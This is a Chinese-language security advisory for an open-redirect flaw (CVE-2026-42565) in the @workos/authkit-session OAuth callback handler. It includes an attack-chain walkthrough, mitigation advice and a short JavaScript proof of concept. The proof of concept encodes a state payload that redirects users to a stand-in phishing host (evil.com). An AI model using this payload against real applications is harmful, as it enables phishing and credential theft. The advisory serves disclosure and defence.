IPBUF安全漏洞报告
English
CVE-2026-42565 CVSS 4.3 中危

CVE-2026-42565 WorkOS AuthKit开放重定向漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42565
漏洞类型
开放重定向
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
@workos/authkit-session

相关标签

开放重定向OAuthWorkOSCWE-601认证绕过

漏洞概述

@workos/authkit-session 是用于构建 WorkOS AuthKit 框架集成的工具包。在 0.5.1 版本之前,AuthService.handleCallback 中存在开放重定向漏洞。该漏洞源于对从 OAuth state 参数派生的 returnPathname 值验证不足。攻击者可以通过身份提供商(IdP)影响 state 参数,导致用户被重定向到外部恶意网站。

技术细节

该漏洞位于 OAuth 认证回调处理逻辑中。State 参数在标准流程中用于防止 CSRF 攻击,但在此组件中,它被用于传递 returnPathname。攻击者利用 OAuth 流程的机制,通过身份提供商(IdP)中转恶意构造的 state 参数。当受害用户触发认证流程时,AuthService.handleCallback 函数会解析返回的 state,提取其中的 returnPathname。关键问题在于,该函数未对 returnPathname 进行严格的同源校验或协议限制。如果应用程序直接使用该返回值执行重定向,攻击者即可诱导用户跳转至任意恶意 URL。这种开放重定向漏洞常被用于钓鱼攻击,窃取用户凭据或进行后续的恶意操作。

攻击链分析

STEP 1
步骤1:构造恶意链接
攻击者构造包含恶意 state 参数的 URL,其中 returnPathname 被设置为攻击者控制的恶意网站地址。
STEP 2
步骤2:诱导受害者
攻击者将构造好的链接发送给目标用户,诱导其点击访问或通过社工手段使其触发认证流程。
STEP 3
步骤3:参数回传
用户经过身份提供商(IdP)认证后,IdP 将攻击者构造的 state 参数原样回传给受影响应用的回调端点。
STEP 4
步骤4:漏洞触发
受影响应用的 AuthService.handleCallback 函数解析 state 参数,提取 returnPathname,且未对其进行安全校验。
STEP 5
步骤5:恶意重定向
应用直接使用提取的 returnPathname 执行重定向操作,导致用户被跳转至攻击者控制的恶意站点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-42565 // Description: Demonstrates how an attacker can craft a malicious state parameter // to exploit the open redirect vulnerability in @workos/authkit-session. const crypto = require('crypto'); // 1. Attacker defines the malicious destination const maliciousRedirectUrl = "https://evil.com/steal-credentials"; // 2. Construct the payload for the state parameter // The application expects a JSON object containing 'returnPathname' const payload = { returnPathname: maliciousRedirectUrl }; // 3. Encode the payload (assuming Base64 encoding as per common OAuth patterns) const encodedState = Buffer.from(JSON.stringify(payload)).toString('base64'); // 4. Generate the exploit URL // This URL simulates the callback sent from the Identity Provider (IdP) const exploitUrl = `https://target-app.com/auth/callback?state=${encodedState}&code=auth_code_placeholder`; console.log("[+] Exploit Generated:"); console.log(exploitUrl); console.log("\n[+] Scenario:"); console.log("If the victim clicks this link (or is redirected here after IdP login),"); console.log("the vulnerable handleCallback function will decode the state,"); console.log("extract returnPathname, and redirect the user to:", maliciousRedirectUrl);

影响范围

@workos/authkit-session < 0.5.1

防御指南

临时缓解措施
如果无法立即升级,开发者应在应用层面对 handleCallback 返回的路径进行二次校验。检查重定向路径是否以“/”开头且不包含“//”或完整的协议头(如 http:),或者强制将重定向限制在预配置的允许列表内。

参考链接